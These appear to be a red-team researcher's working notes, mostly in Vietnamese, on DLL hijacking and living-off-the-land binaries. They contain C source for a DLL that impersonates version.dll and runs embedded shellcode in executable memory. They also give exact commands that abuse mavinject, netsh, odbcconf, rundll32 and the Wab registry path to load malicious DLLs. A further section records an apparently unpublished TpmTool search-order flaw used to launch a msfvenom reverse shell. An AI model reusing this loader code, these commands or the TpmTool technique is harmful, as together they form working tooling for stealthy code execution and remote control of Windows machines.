---
# System prepended metadata

title: research_dll

---

Link: Research reflective dll

[reflective dll loader](https://trustedsec.com/blog/loading-dlls-reflections)

[lock & deadlock](https://elliotonsecurity.com/perfect-dll-hijacking/)


https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/Readme.md


https://www.threatspike.com/blog/reflective-dll-injection-in-the-wild/

https://unprotect.it/snippet/reflective-dll-injection/207/


https://www.linkedin.com/posts/depth-security_reflective-dll-injection-in-c-activity-7377021131607662592-xNXS/

https://captain-woof.medium.com/ghostly-reflective-pe-loader-how-to-make-a-remote-process-inject-a-pe-in-itself-3b65f2083de0

https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html


https://www.rapid7.com/blog/post/2015/08/28/using-reflective-dll-injection-to-exploit-ie-elevation-policies/


https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection

https://securemyorg.com/reflective-dll-injection-1/

https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection

https://medium.com/@alsaifmay/detect-reflective-dll-load-36a56db27d7f


https://subscription.packtpub.com/book/security/9781789610789/6/ch06lvl1sec72/advanced-code-injection-reflective-dll-injection


https://www.depthsecurity.com/blog/reflective-dll-injection-in-c/


https://blog.christophetd.fr/dll-unlinking/


https://oldboy21.github.io/posts/2023/12/all-i-want-for-christmas-is-reflective-dll-injection/


https://www.youtube.com/watch?v=jg0CmrwEcNs


https://posts.thinkbox.dev/reflective-dll-injection/


https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html


https://hackmd.io/v5SJ5B5gSFmiSSpJeEo6aQ


https://www.bordergate.co.uk/reflective-dll-injection/



https://andreafortuna.org/2017/12/08/what-is-reflective-dll-injection-and-how-can-be-detected/



https://0xrick.github.io/win-internals/pe8/

https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e


https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html


https://www.thecyberyeti.com/post/debugging-a-32-or-64-bit-dll-with-windbg

https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

https://whitehat.vn/threads/gan-300-tep-tin-thuc-thi-tren-windows-10-co-the-bi-tan-cong-dll-hijacking.13809
```
#include <windows.h>
#include <strsafe.h>
#include <stdio.h>
#include "resource.h"

// Windows 11 exports
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
// Tránh xung đột với winver.h
#undef GetFileVersionInfoSizeExW

// Biến global
static HMODULE g_hModule = NULL;
static BOOL g_ShellcodeExecuted = FALSE;


void ShowErrA(LPCSTR title, DWORD err, LPCSTR fmt, ...)
{
    char buf[1024], out[1400];
    va_list ap;
    va_start(ap, fmt);
    StringCbVPrintfA(buf, sizeof(buf), fmt, ap);
    va_end(ap);
    StringCbPrintfA(out, sizeof(out), "%s\nGetLastError: %lu (0x%08lx)", buf, err, err);
    MessageBoxA(NULL, out, title, MB_OK | MB_ICONERROR);
}

// Hàm thread chạy shellcode
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
    HMODULE hMod = (HMODULE)lpParameter;

    //// Tim shellcode
    HRSRC shellcodeResource = FindResource(hMod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);

    // Đảm bảo kích thước và tài nguyên hợp lệ
    DWORD shellcodeSize = SizeofResource(hMod, shellcodeResource);
    if (shellcodeSize == 0) {
        // Lỗi, không có dữ liệu shellcode
        return -1;
    }

    // Tải tài nguyên vào bộ nhớ
    HGLOBAL shellcodeResourceData = LoadResource(hMod, shellcodeResource);
    if (shellcodeResourceData == NULL) {
        // Lỗi khi tải tài nguyên
        return -2;
    }

    // Khóa tài nguyên để truy cập
    LPVOID shellcodeData = LockResource(shellcodeResourceData);
    if (shellcodeData == NULL) {
        // Lỗi khi khóa tài nguyên
        return -3;
    }

    // Cấp phát bộ nhớ cho shellcode
    void* exec = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) {
        // Lỗi khi cấp phát bộ nhớ
        return -4;
    }

    // Sao chép shellcode vào bộ nhớ đã cấp phát
    memcpy(exec, shellcodeData, shellcodeSize);

    // Thực thi shellcode
    ((void(*)())exec)();  // Thực thi shellcode

    // Giải phóng bộ nhớ sau khi thực thi
    VirtualFree(exec, 0, MEM_RELEASE);
    return 1;
}



// Hàm ghi đè GetFileVersionInfoSizeExW với extern "C"
extern "C" DWORD WINAPI GetFileVersionInfoSizeExW(DWORD dwFlags, LPCWSTR lpwFileName, LPDWORD lpdwHandle)
{
    if (!g_ShellcodeExecuted)
    {
        g_ShellcodeExecuted = TRUE;

        // Tạo thread để chạy shellcode
        HANDLE threadHandle = CreateThread(NULL, 0, ThreadFunction, g_hModule, 0, NULL);
        if (threadHandle == NULL) {
            ShowErrA("CreateThread failed", GetLastError(), "Không tạo được thread để chạy shellcode.");
        }
        else {
            //WaitForSingleObject(threadHandle, INFINITE);
            CloseHandle(threadHandle);
        }
    }
    return 0;
}

BOOL WINAPI DllMain(HMODULE hDll, DWORD dwReason, LPVOID lpReserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        g_hModule = hDll;
        //DisableThreadLibraryCalls(hDll); // bỏ gọi thread attach/detach
        break;

    case DLL_PROCESS_DETACH:
        g_hModule = NULL;
        break;

    default:
        break;
    }
    return TRUE;
}
```



```


* rundll32, regsvr32, regasm

* 8 lolbin quan trọng nên biết cách sử dụng: rundll32, regsvr32, msiexec, mshta, certutil, msbuild, wmi command line utility (wmic), wmi provider host (WmiPrvSe)

* https://loldrivers.io
https://lolol.farm
https://gtfobins.github.io
https://loobins.io

Pervasive SQL injection in DAS

* Vấn đề:
- Công cụ CertOC.exe không được tìm thấy trong C:\Windows\System32\
- 

* Những công cụ có thể sử dụng được
- iscsicpl.exe
- rundll32
- regsvr32
- mavinject
- mmc
- msbuild (trên máy chưa cài msbuild thì không chạy được)
- msiexec
- netsh
- odbcconf
- pcalua (với dll thì nó thực hiện mở file còn exe thì nó thực thi)
- rasautou
- regasm (chạy trong cmd của developer của visual studio)
- regsvcs (chạy trong cmd của developer của visual studio)
- wuauclt (chạy đơn giản như messagebox thì thành công, chạy shellcode chưa được)
- advpack.dll/ieadvpack.dll (rundll32.exe <ieadvpack.dll/ieadvpack.dll>,RegisterOCX test_dll_execute.dll)
- dotnet (chỉ chạy được trên máy có cài hình như là visual studio)
- tracker (other msbinaries)
- vstest.console.exe (other msbinaries)

https://lolbas-project.github.io/lolbas/Binaries/Certoc/
https://lolbas-project.github.io/lolbas/Binaries/Wab/
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/

*THỨ 6-24/10/2025:*
* Tìm hiểu về LOLBIN và LOLBAS
** LOLBIN là gì?
*** Living Off the Land Binaries (LOLBIN), đây là các binaries được cài đặt sẵn trên hệ thống và có chữ ký của Microsoft (được windows trusted), có thể bị lạm dụng để thực hiện các hành động độc hại. Ý tưởng ở đây là attacker có thể sống sót trên chính máy windows mà không cần phải tải hay mang theo công cụ nào khác để thực hiện các hành động mang tính độc hại.
** LOLBAS là gì?
*** Living Off the Land Binaries, Scripts and Libraries (LOLBAS), nó là mở rộng của LOLBIN, nó là một project liệt kê các binaries, scripts, libraries của Windows có thể bị abuse cho các mục đích độc hại. Ngoài các binaries được nói ở trên, project này còn bao gồm các Scripts (.ps1, .vbs, .bat, ...) và Libraries (.dll, ...) có thể bị lạm dụng.
** Tầm quan trọng của nó trong lĩnh vực red team?
*** Nó quan trọng bởi vì mã độc được chạy dưới tiến trình của các binaries có chữ ký của Microsoft và được Windows tin tưởng. Vì nó là các tiến trình hợp pháp nên thường log của nó trên hệ thống sẽ được bỏ qua hoặc được chấm điểm critical thấp hơn.
*** Attacker có thể tận dụng nó mà không cần phải mang hay drop thêm một công cụ nào tự custom nữa (né tránh phát hiện và giảm dấu vết để lại trên hệ thống)
** Thực hiện chạy thử các công cụ đó để thực hiện chạy file DLL chứa shellcode mã độc.
*** Rundll32 và Regsvr32 đã được thực hiện thành công và cách thức thực hiện đã được em trình bày ở các report trước ạ. Hai công cụ này chạy thành công ở quyền user thường và user có quyền admin.
*** Mavinject: Đây là công cụ .
**** Phạm vi: Nó thực hiện thành công trên cả user thường và admin.
**** Có thể chạy được dll đơn giản với messagebox và dll phức tạp chạy shellcode
**** Vấn để hiện tại của nó khi thực nghiệm các trường hợp thì em thấy rằng nó chỉ inject vào được một lần, lần tiếp theo thì nó vẫn chạy nhưng không thấy được kết quả.
!mavinject_run_dll.PNG!
*** Pcalua
**** Khi thực hiện chạy lệnh "pcalua -a test_dll_execute.dll" thì nó chỉ thực hiện mở file dll này lên thôi chưa chạy (hiện tại em chưa tìm được cách chạy nó).
**** Khi thay dll đó thành một exe thì nó sẽ thực thi exe đó ngay lập tức. Tóm lại ở phạm vi em đã thử thì nó đang hữu ích cho việc thực thi các file exe.
*** Netsh: đây là một công cụ có thể cấu hình hoặc xem cài đặt interface network trên windows
**** Sử dụng lệnh "netsh add helper test_dll_execute.dll" thì nó sẽ thực hiện đăng ký dll này vào helper (tức là khi chạy lệnh nó sẽ thực thi cả DLL này để mở rộng thêm chức năng) và nó sẽ thực hiện chạy file dll này. Có thể chạy được dll đơn giản Messagebox và Shellcode reverse
**** Trong quá trình chạy thì MessageBox bình thường chỉ cần quyền user thường , còn chạy dll chứa shellcode luôn thì phải nâng nó lên quyền admin.
**** Để thực hiện add thành công luôn thì trong mã nguồn DLL nên định nghĩa một hàm được export InitHelperDll, còn bình thường thì nó vẫn chạy vào DllMain là thành công chạy được shellcode rồi.
!netsh_add_helper.PNG!
!netsh_add_helper_2.PNG!
*** odbcconf
**** Khi chạy lệnh "odbcconf /a {regsvr test_regsvr.dll}" thì nó cũng thực hiện tương tự các chức năng đăng ký giống với regsvr32 bình thường ở trên. Nhưng mà không có chức năng UnRegiser, muốn hủy đăng ký thì em sẽ dùng lại regsvr32
**** Với tool này thì chỉ cần quyền User thường thì có thể thực hiện thành công chạy shellcode reverse.
*** Regasm: Lệnh này có chức năng tương tự với regsvr32 là thực hiện đăng ký, nhưng nó là OtherMSBinaries, nên những máy nào có cài thì mới sử dụng được nên không có sẵn trên các máy. Và nó sẽ thực hiện đăng ký và thực thi các file DLL thuộc .NET thôi. (Cải tiến build một file DLL chứa shellcode có thể tương thích chạy được)
!regasm_failed_assembly_net.PNG!
*** advpack.dll/ieadvpack.dll (rundll32.exe <ieadvpack.dll/ieadvpack.dll>,RegisterOCX test_dll_execute.dll)
**** Nó hoàn toàn tương tự với khi chạy dll với rundll32 thôi nhưng ở đây nó thực hiện mượn các file cấu hình dll khác để thực hiện.
*** Wab: Nó đơn giản chỉ có chức năng là trình quản lý danh bạ / địa chỉ cũ của Windows
**** Thực hiện kỹ thuật này tương tự với hijacking dll, bằng cách tạo một dll fake và bắt chương trình Wab khi chạy sẽ load dll fake của mình lên.
**** Wab.exe ưu tiên tải wab32.dll từ đường dẫn trong registry key HKLM\Software\Microsoft\WAB\DLLPath (mặc định: %CommonProgramFiles%\System\wab32.dll). Bằng cách thay đổi key này, bạn chỉ định DLL độc hại.
***** Chạy lệnh này để thay đổi reg path: reg add HKLM\Software\Microsoft\WAB /v DLLPath /t REG_SZ /dC:\Users\win10-test\Documents\test_rsrc.dll /f
**** Hoặc hijacking: wab.exe sẽ thử tải wab32.dll từ thư mục hiện tại, nên mình fake một dll với tên wab32.dll đặt vào thư mục hiện tại.
















** Công cụ hợp pháp trên hệ thống Windows mà không được public lên. (hoặc do em chưa thực hiện research kỹ nhưng em cũng check qua nhiều project LOLBIN và LOLBAS trên internet nhưng không thấy)
*** Ở đây em nhắc tới là TpmTool.exe, em search thì không thấy nó nằm trong các project LOLBAS được public nhưng nó có thể được attacker lạm dụng để chạy tệp thực thi (exe).
*** Nó là một công cụ dòng lệnh được Microsoft cung cấp sẵn trong hệ điều hành Windows, dùng để quản lý và truy vấn thông tin về Trusted Platform Module (TPM), là một thành phần phần cứng bảo mật tích hợp trên máy tính. TPM là một chip bảo mật chuyên dụng giúp thực hiện các hoạt động mã hóa, xác thực và bảo vệ dữ liệu nhạy cảm, chẳng hạn như khóa mã hóa BitLocker hoặc xác minh quá trình Secure Boot.
*** TpmTool giúp người dùng lấy thông tin chi tiết về TPM mà không cần elevated privileges cho một số lệnh cơ bản.
*** Quá trình thực hiện khai thác lỗi của tool này để thực hiện chạy shellcode (exe)
**** Khi tpmtool chạy với dòng lệnh "tpmtool drivertracing stop" hoặc "tpmtool drivertracing start" thì nó sẽ khởi tạo một tiến trình cmd và chạy lệnh "logman.exe stop TPMTRACE -ets"
!cmd_tpmtool.PNG!
!tpm_create_cmd.PNG!
!cmd_logman.PNG!
!logman_real_create.PNG!
**** Đặc biệt ở đây là khi em thực hiện đổi tên file calc.exe thành logman.exe rồi đưa nó vào thư mục hiện tại đang chạy lệnh thì nó sẽ thực hiện chạy logman.exe (fake calc.exe). Đây chính là một lỗi nghiêm trọng khi logman.exe được thực thi nhưng không đúng đường dẫn thực sự của nó. Lưu ý rằng trong quá trình thử nghiệm, em phát hiện ra rằng khi chạy thông qua TPMTOOL và logman.exe fake đặt tại thư mục đang chạy thì mới dính lỗi này, còn lại thì chạy ở thư mục khác hay chạy bằng lệnh logman.exe ở cmd thì dù chạy ở đâu (thậm chí ở thư mục hiện tại logman.exe fake đang đứng) thì sẽ không có lỗi mà nó sẽ chạy đúng với logman.exe thật trên hệ thống (ở đây em nghĩ rằng nó bị lỗi search order tương tự khi load dll).
!tpm_cmd_calc.PNG!
!logman_fake_calc_create.PNG!
!logman_fake_calc_execute.PNG!
**** Tiếp tục em sẽ thực hiện tạo một shellcode reverse bằng msfvenom, đổi tên nó thành logman.exe và cấp quyền thực thi. Cuối cùng bỏ nó vào thư mục hiện tại chạy command TPMTOOL thì nó sẽ chạy shellcode thành công và reverse về máy kali đang listen bằng netcat.
!create_shellcode_rev_logman.PNG!
!reverse_shell_success_tpmtool.PNG!
*+Tham khảo:+*
* Resource liên quan đến các Binaries hợp pháp của hệ thống có thể bị lạm dụng:
** LOLBAS: https://lolbas-project.github.io/
** LOL farm: https://lolol.farm/
* tpmtool:
** https://www.youtube.com/watch?v=QBvM-MzQ570
** https://www.youtube.com/watch?v=BwTAVKna4cg



*THỨ 6-24/10/2025:*
* RESEARCH INITIAL ACCESS: (https://jira.sunlight.lab/browse/SLPROJECT-1230)
** 




********
C:\Windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.19041.2546_none_3231dbaddc12fb93\mavinject.exe 6056 /INJECTRUNNING "C:\Users\win10-test\Documents\log.log:test_dll_execute.dll"
c:\windows\SysWOW64\notepad.exe
netsh add helper test_dll_execute.dll
odbcconf /a {regsvr test_regsvr.dll}

mavinject.exe 7208 /INJECTRUNNING C:\Users\win10-test\Documents\test_dll_execute.dll  (vấn đề hiện tại là nó chỉ inject được một lần)




@SEKTOR7net,@TrustedSec,@_RastaMouse,@SpecterOps,@ksg93rd,@_xpn_,@0gtweet,@OutflankNL,...
```


```
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
//#include <comdef.h>
#include <stdio.h>

// GUID ngẫu nhiên cho COM Class (phải khớp với /ClassId)
const CLSID CLSID_TestHandler = { 0x12345678, 0x1234, 0x5678, { 0xAB, 0xCD, 0xEF, 0x01, 0x23, 0x45, 0x67, 0x89 } };
const IID IID_ITestHandler = { 0x87654321, 0x4321, 0x8765, { 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10, 0xFE } };

// COM Interface đơn giản
interface ITestHandler : public IUnknown
{
    virtual HRESULT STDMETHODCALLTYPE DoWork(LPCWSTR classId) = 0;
};

// Implementation của COM Class
class CTestHandler : public ITestHandler
{
private:
    LONG m_cRef;
public:
    CTestHandler() : m_cRef(1) {
        MessageBoxW(NULL, L"[TEST] CTestHandler Constructor", L"Debug", MB_OK | MB_ICONINFORMATION);
    }
    ~CTestHandler() {
        MessageBoxW(NULL, L"[TEST] CTestHandler Destructor", L"Debug", MB_OK | MB_ICONINFORMATION);
    }

    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override
    {
        WCHAR guidStr[256];
        StringFromGUID2(riid, guidStr, 256);
        WCHAR buffer[1024];
        swprintf_s(buffer, L"[TEST] QueryInterface called with IID: %s", guidStr);
        MessageBoxW(NULL, buffer, L"Debug", MB_OK | MB_ICONINFORMATION);

        if (riid == IID_IUnknown || riid == IID_ITestHandler)
        {
            *ppv = this;
            AddRef();
            return S_OK;
        }
        *ppv = NULL;
        return E_NOINTERFACE;
    }

    ULONG STDMETHODCALLTYPE AddRef() override
    {
        return InterlockedIncrement(&m_cRef);
    }

    ULONG STDMETHODCALLTYPE Release() override
    {
        ULONG cRef = InterlockedDecrement(&m_cRef);
        if (cRef == 0) delete this;
        return cRef;
    }

    HRESULT STDMETHODCALLTYPE DoWork(LPCWSTR classId) override
    {
        WCHAR buffer[1024];
        swprintf_s(buffer, L"[TEST] DoWork called with ClassId: %s", classId ? classId : L"NULL");
        MessageBoxW(NULL, buffer, L"Debug", MB_OK | MB_ICONINFORMATION);

        FILE* f = _wfopen(L"C:\\Windows\\Temp\\test_log.txt", L"a+");
        if (f) {
            fwprintf(f, L"[TEST] %s - PID: %d\n", buffer, GetCurrentProcessId());
            fclose(f);
        }

        return S_OK;
    }
};

// Class Factory
class CTestClassFactory : public IClassFactory
{
private:
    LONG m_cRef;
public:
    CTestClassFactory() : m_cRef(1) {
        MessageBoxW(NULL, L"[TEST] ClassFactory Constructor", L"Debug", MB_OK | MB_ICONINFORMATION);
    }
    ~CTestClassFactory() {
        MessageBoxW(NULL, L"[TEST] ClassFactory Destructor", L"Debug", MB_OK | MB_ICONINFORMATION);
    }

    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override
    {
        if (riid == IID_IUnknown || riid == IID_IClassFactory)
        {
            *ppv = this;
            AddRef();
            return S_OK;
        }
        *ppv = NULL;
        return E_NOINTERFACE;
    }

    ULONG STDMETHODCALLTYPE AddRef() override { return InterlockedIncrement(&m_cRef); }
    ULONG STDMETHODCALLTYPE Release() override
    {
        ULONG cRef = InterlockedDecrement(&m_cRef);
        if (cRef == 0) delete this;
        return cRef;
    }

    HRESULT STDMETHODCALLTYPE CreateInstance(LPUNKNOWN pUnkOuter, REFIID riid, void** ppv) override
    {
        MessageBoxW(NULL, L"[TEST] CreateInstance called", L"Debug", MB_OK | MB_ICONINFORMATION);
        if (pUnkOuter != NULL) return CLASS_E_NOAGGREGATION;

        CTestHandler* pHandler = new CTestHandler();
        if (pHandler == NULL) return E_OUTOFMEMORY;

        HRESULT hr = pHandler->QueryInterface(riid, ppv);
        pHandler->Release();
        return hr;
    }

    HRESULT STDMETHODCALLTYPE LockServer(BOOL fLock) override
    {
        MessageBoxW(NULL, fLock ? L"[TEST] LockServer TRUE" : L"[TEST] LockServer FALSE", L"Debug", MB_OK | MB_ICONINFORMATION);
        return S_OK;
    }
};

// ============================================================================
// EXPORTED FUNCTIONS
// ============================================================================

// Export #1: DllMain
extern "C" __declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"[TEST] DLL_PROCESS_ATTACH", L"Debug", MB_OK | MB_ICONINFORMATION);
        DisableThreadLibraryCalls(hinstDLL);
        break;
    case DLL_PROCESS_DETACH:
        MessageBoxW(NULL, L"[TEST] DLL_PROCESS_DETACH", L"Debug", MB_OK | MB_ICONINFORMATION);
        break;
    }
    return TRUE;
}

// Export #2: DllCanUnloadNow
extern "C" __declspec(dllexport) HRESULT __stdcall MyDllCanUnloadNow(void)
{
    MessageBoxW(NULL, L"[TEST] DllCanUnloadNow", L"Debug", MB_OK | MB_ICONINFORMATION);
    return S_FALSE;
}

// Export #3: Hàm quan trọng mà wuauclt.exe gọi
extern "C" __declspec(dllexport) HRESULT __stdcall MyDllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    WCHAR guidStr[256];
    StringFromGUID2(rclsid, guidStr, 256);
    WCHAR buffer[1024];
    swprintf_s(buffer, L"[TEST] *** DllGetClassObject CALLED BY WUAUCLT ***\nRequested CLSID: %s", guidStr);
    MessageBoxW(NULL, buffer, L"Debug", MB_OK | MB_ICONINFORMATION);

    StringFromGUID2(riid, guidStr, 256);
    swprintf_s(buffer, L"[TEST] IID: %s", guidStr);
    MessageBoxW(NULL, buffer, L"Debug", MB_OK | MB_ICONINFORMATION);

    //if (IsEqualGUID(rclsid, CLSID_TestHandler))
    //{
    //    MessageBoxW(NULL, L"[TEST] DllGetClassObject: CLSID matched, creating ClassFactory", L"Debug", MB_OK | MB_ICONINFORMATION);
    //    CTestClassFactory* pFactory = new CTestClassFactory();
    //    if (pFactory == NULL) return E_OUTOFMEMORY;

    //    HRESULT hr = pFactory->QueryInterface(riid, ppv);
    //    pFactory->Release();
    //    return hr;
    //}

    MessageBoxW(NULL, L"[TEST] DllGetClassObject: CLSID not matched", L"Debug", MB_OK | MB_ICONINFORMATION);
    return CLASS_E_CLASSNOTAVAILABLE;
}

// Export #4: DllRegisterServer
extern "C" __declspec(dllexport) HRESULT __stdcall MyDllRegisterServer(void)
{
    MessageBoxW(NULL, L"[TEST] DllRegisterServer", L"Debug", MB_OK | MB_ICONINFORMATION);
    return S_OK;
}

// Export #5: DllUnregisterServer
extern "C" __declspec(dllexport) HRESULT __stdcall MyDllUnregisterServer(void)
{
    MessageBoxW(NULL, L"[TEST] DllUnregisterServer", L"Debug", MB_OK | MB_ICONINFORMATION);
    return S_OK;
}
```